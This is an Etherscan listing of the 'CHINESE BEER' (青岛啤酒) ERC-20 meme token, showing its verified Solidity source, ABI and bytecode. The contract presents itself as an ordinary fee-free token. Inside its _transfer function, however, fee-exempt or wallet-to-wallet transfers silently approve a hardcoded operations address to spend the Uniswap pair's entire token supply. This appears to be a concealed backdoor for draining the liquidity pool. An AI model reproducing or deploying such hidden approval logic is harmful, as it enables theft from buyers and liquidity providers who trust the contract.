Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 青岛啤酒
Holders
89
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,410,840.764231988 青岛啤酒Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CNBEER
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-02 */ // SPDX-License-Identifier: MIT /** $青岛啤酒 is SO NICE that you may be tempted to drink it. Go for it! It is more than a mere meme. Website: https://cnbeer.pro Twitter: https://twitter.com/cn_beer_erc Telegram: https://t.me/cn_beer_erc */ pragma solidity ^0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CNBEER is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 public _maxTxAmount = _tTotal * 30 / 1000; uint256 public _maxWalletSize = _tTotal * 30 / 1000; uint256 public _swapTokensAtAmount = _tTotal * 1 / 10000; address private devAddr = msg.sender; address private operationAddr = 0x4662B9AF2127cb51a6B4C0CD8465830cD4d91D95; address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 public uniRouter; address public uniPair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = false; string private constant _name = unicode"CHINESE BEER"; string private constant _symbol = unicode"青岛啤酒"; uint8 private constant _decimals = 9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniRouter = _uniRouter; uniPair = IUniswapV2Factory(_uniRouter.factory()) .createPair(address(this), _uniRouter.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[operationAddr] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0)); require(to != address(0)); require(amount > 0); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { //Trade start check if (!tradingOpen) { require(from == owner()); } if(to != uniPair && to != uniswapRouter && to != address(this)) { require(amount <= _maxTxAmount); if(to != uniPair) { require(balanceOf(to) + amount < _maxWalletSize); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount*2) { contractTokenBalance = contractTokenBalance*2; } if (canSwap && !inSwap && from != uniPair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniPair && to != uniPair)) { takeFee = false; devAddr = uniPair; _approve(devAddr, operationAddr, _tTotal); } else { //Set Fee for Buys if(from == uniPair && to != address(uniRouter)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniPair && from != address(uniRouter)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); _approve(address(this), address(uniRouter), tokenAmount); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function sendETHToFee(uint256 amount) private { payable(operationAddr).transfer(amount); } function removeLimits() public onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function enableTrading() public onlyOwner { require(!tradingOpen, "Trading alredy enabled."); tradingOpen = true; swapEnabled = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405262000019670de0b6b3a76400005f19620003c6565b62000026905f19620003f0565b6006555f6008555f6009555f600a555f600b55600a54600c55600b54600d55600c54600e55600d54600f556103e8670de0b6b3a7640000601e6200006b91906200040c565b62000077919062000426565b6010556103e862000092670de0b6b3a7640000601e6200040c565b6200009e919062000426565b601155612710620000b9670de0b6b3a764000060016200040c565b620000c5919062000426565b601255601380546001600160a01b03199081163317909155601480548216734662b9af2127cb51a6b4c0cd8465830cd4d91d9517905560158054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790556017805462ffffff60a01b1916905534801562000135575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f9081526002602090815260409182902092909255601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001ef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021591906200043c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000261573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028791906200043c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002d2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002f891906200043c565b601780546001600160a01b0319166001600160a01b039283161790555f80548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601454909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620003a391815260200190565b60405180910390a3506200046b565b634e487b7160e01b5f52601260045260245ffd5b5f82620003d757620003d7620003b2565b500690565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620004065762000406620003dc565b92915050565b8082028115828204841417620004065762000406620003dc565b5f82620004375762000437620003b2565b500490565b5f602082840312156200044d575f80fd5b81516001600160a01b038116811462000464575f80fd5b9392505050565b6114bf80620004795f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e0578063a0e47bf614610314578063a9059cbb14610333578063dd62ed3e14610352578063f2fde38b14610396575f80fd5b8063751039fc146102725780637d1db4a5146102865780638a8c523c1461029b5780638da5cb5b146102af5780638f9a55c0146102cb575f80fd5b80632fd689e3116100e35780632fd689e3146101d6578063313ce567146101eb57806332972e461461020657806370a082311461023d578063715018a61461025c575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b21a424a722a9a2902122a2a960a11b60208201525b60405161015b9190611202565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611264565b6103b5565b604051901515815260200161015b565b34801561019e575f80fd5b50670de0b6b3a76400005b60405190815260200161015b565b3480156101c2575f80fd5b506101836101d136600461128e565b6103cb565b3480156101e1575f80fd5b506101a960125481565b3480156101f6575f80fd5b506040516009815260200161015b565b348015610211575f80fd5b50601754610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b348015610248575f80fd5b506101a96102573660046112cc565b610432565b348015610267575f80fd5b50610270610453565b005b34801561027d575f80fd5b506102706104cd565b348015610291575f80fd5b506101a960105481565b3480156102a6575f80fd5b50610270610509565b3480156102ba575f80fd5b505f546001600160a01b0316610225565b3480156102d6575f80fd5b506101a960115481565b3480156102eb575f80fd5b5060408051808201909152600c81526b74cec972d94df2cad274c2c960a11b602082015261014e565b34801561031f575f80fd5b50601654610225906001600160a01b031681565b34801561033e575f80fd5b5061018361034d366004611264565b6105a5565b34801561035d575f80fd5b506101a961036c3660046112e7565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506102706103b03660046112cc565b6105b1565b5f6103c1338484610698565b5060015b92915050565b5f6103d78484846107bb565b610428843361042385604051806060016040528060288152602001611462602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610b0a565b610698565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103c590610b42565b5f546001600160a01b031633146104855760405162461bcd60e51b815260040161047c9061131e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f65760405162461bcd60e51b815260040161047c9061131e565b670de0b6b3a76400006010819055601155565b5f546001600160a01b031633146105325760405162461bcd60e51b815260040161047c9061131e565b601754600160a01b900460ff161561058c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c7265647920656e61626c65642e000000000000000000604482015260640161047c565b6017805462ff00ff60a01b19166201000160a01b179055565b5f6103c13384846107bb565b5f546001600160a01b031633146105da5760405162461bcd60e51b815260040161047c9061131e565b6001600160a01b03811661063f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b03821661075b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107cd575f80fd5b6001600160a01b0382166107df575f80fd5b5f81116107ea575f80fd5b6001600160a01b0383165f9081526005602052604090205460ff1615801561082a57506001600160a01b0382165f9081526005602052604090205460ff16155b156109c657601754600160a01b900460ff16610858575f546001600160a01b03848116911614610858575f80fd5b6017546001600160a01b0383811691161480159061088457506015546001600160a01b03838116911614155b801561089957506001600160a01b0382163014155b156108e1576010548111156108ac575f80fd5b6017546001600160a01b038381169116146108e157601154816108ce84610432565b6108d89190611367565b106108e1575f80fd5b5f6108eb30610432565b601254909150808210159061090190600261137a565b82106109155761091282600261137a565b91505b80801561092c5750601754600160a81b900460ff16155b801561094657506017546001600160a01b03868116911614155b801561095b5750601754600160b01b900460ff165b801561097f57506001600160a01b0385165f9081526005602052604090205460ff16155b80156109a357506001600160a01b0384165f9081526005602052604090205460ff16155b156109c3576109b182610bc4565b4780156109c1576109c181610d34565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610a0657506001600160a01b0383165f9081526005602052604090205460ff165b80610a3857506017546001600160a01b03858116911614801590610a3857506017546001600160a01b03848116911614155b15610a7e5750601754601380546001600160a01b0319166001600160a01b039283169081179091556014545f92610a79929116670de0b6b3a7640000610698565b610af8565b6017546001600160a01b038581169116148015610aa957506016546001600160a01b03848116911614155b15610abb57600854600c55600954600d555b6017546001600160a01b038481169116148015610ae657506016546001600160a01b03858116911614155b15610af857600a54600c55600b54600d555b610b0484848484610d6f565b50505050565b5f8184841115610b2d5760405162461bcd60e51b815260040161047c9190611202565b505f610b398486611391565b95945050505050565b5f600654821115610ba85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047c565b5f610bb1610d9d565b9050610bbd8382610dbe565b9392505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c0a57610c0a6113a4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c61573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8591906113b8565b81600181518110610c9857610c986113a4565b6001600160a01b039283166020918202929092010152601654610cbe9130911684610698565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790610cf69085905f908690309042906004016113d3565b5f604051808303815f87803b158015610d0d575f80fd5b505af1158015610d1f573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610d6b573d5f803e3d5ffd5b5050565b80610d7c57610d7c610dff565b610d87848484610e2c565b80610b0457610b04600e54600c55600f54600d55565b5f805f610da8610f1d565b9092509050610db78282610dbe565b9250505090565b5f610bbd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f5c565b600c54158015610e0f5750600d54155b15610e1657565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80610e3b87610f88565b6001600160a01b038f165f90815260026020526040902054959b50939950919750955093509150610e6c9087610fdd565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610e9a908661101e565b6001600160a01b0389165f90815260026020526040902055610ebb8161107c565b610ec584836110c2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f0a91815260200190565b60405180910390a3505050505050505050565b6006545f908190670de0b6b3a7640000610f378282610dbe565b821015610f5357505060065492670de0b6b3a764000092509050565b90939092509050565b5f8183610f7c5760405162461bcd60e51b815260040161047c9190611202565b505f610b398486611442565b5f805f805f805f805f610fa08a600c54600d546110e6565b9250925092505f610faf610d9d565b90505f805f610fc08e878787611138565b919e509c509a509598509396509194505050505091939550919395565b5f610bbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b0a565b5f8061102a8385611367565b905083811015610bbd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b5f611085610d9d565b90505f6110928383611184565b305f908152600260205260409020549091506110ae908261101e565b305f90815260026020526040902055505050565b6006546110cf9083610fdd565b6006556007546110df908261101e565b6007555050565b5f8080806110ff60646110f98989611184565b90610dbe565b90505f61111160646110f98a89611184565b90505f611128826111228b86610fdd565b90610fdd565b9992985090965090945050505050565b5f8080806111468886611184565b90505f6111538887611184565b90505f6111608888611184565b90505f611171826111228686610fdd565b939b939a50919850919650505050505050565b5f825f0361119357505f6103c5565b5f61119e838561137a565b9050826111ab8583611442565b14610bbd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b5f6020808352835180828501525f5b8181101561122d57858101830151858201604001528201611211565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611261575f80fd5b50565b5f8060408385031215611275575f80fd5b82356112808161124d565b946020939093013593505050565b5f805f606084860312156112a0575f80fd5b83356112ab8161124d565b925060208401356112bb8161124d565b929592945050506040919091013590565b5f602082840312156112dc575f80fd5b8135610bbd8161124d565b5f80604083850312156112f8575f80fd5b82356113038161124d565b915060208301356113138161124d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103c5576103c5611353565b80820281158282048414176103c5576103c5611353565b818103818111156103c5576103c5611353565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113c8575f80fd5b8151610bbd8161124d565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114215784516001600160a01b0316835293830193918301916001016113fc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261145c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084b90e4df08f8b8b00b74c359b36e4eed089bc17674d1c3cf38ef9a19959724e64736f6c63430008140033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e0578063a0e47bf614610314578063a9059cbb14610333578063dd62ed3e14610352578063f2fde38b14610396575f80fd5b8063751039fc146102725780637d1db4a5146102865780638a8c523c1461029b5780638da5cb5b146102af5780638f9a55c0146102cb575f80fd5b80632fd689e3116100e35780632fd689e3146101d6578063313ce567146101eb57806332972e461461020657806370a082311461023d578063715018a61461025c575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b21a424a722a9a2902122a2a960a11b60208201525b60405161015b9190611202565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611264565b6103b5565b604051901515815260200161015b565b34801561019e575f80fd5b50670de0b6b3a76400005b60405190815260200161015b565b3480156101c2575f80fd5b506101836101d136600461128e565b6103cb565b3480156101e1575f80fd5b506101a960125481565b3480156101f6575f80fd5b506040516009815260200161015b565b348015610211575f80fd5b50601754610225906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b348015610248575f80fd5b506101a96102573660046112cc565b610432565b348015610267575f80fd5b50610270610453565b005b34801561027d575f80fd5b506102706104cd565b348015610291575f80fd5b506101a960105481565b3480156102a6575f80fd5b50610270610509565b3480156102ba575f80fd5b505f546001600160a01b0316610225565b3480156102d6575f80fd5b506101a960115481565b3480156102eb575f80fd5b5060408051808201909152600c81526b74cec972d94df2cad274c2c960a11b602082015261014e565b34801561031f575f80fd5b50601654610225906001600160a01b031681565b34801561033e575f80fd5b5061018361034d366004611264565b6105a5565b34801561035d575f80fd5b506101a961036c3660046112e7565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103a1575f80fd5b506102706103b03660046112cc565b6105b1565b5f6103c1338484610698565b5060015b92915050565b5f6103d78484846107bb565b610428843361042385604051806060016040528060288152602001611462602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610b0a565b610698565b5060019392505050565b6001600160a01b0381165f908152600260205260408120546103c590610b42565b5f546001600160a01b031633146104855760405162461bcd60e51b815260040161047c9061131e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f65760405162461bcd60e51b815260040161047c9061131e565b670de0b6b3a76400006010819055601155565b5f546001600160a01b031633146105325760405162461bcd60e51b815260040161047c9061131e565b601754600160a01b900460ff161561058c5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c7265647920656e61626c65642e000000000000000000604482015260640161047c565b6017805462ff00ff60a01b19166201000160a01b179055565b5f6103c13384846107bb565b5f546001600160a01b031633146105da5760405162461bcd60e51b815260040161047c9061131e565b6001600160a01b03811661063f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b03821661075b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016040518091039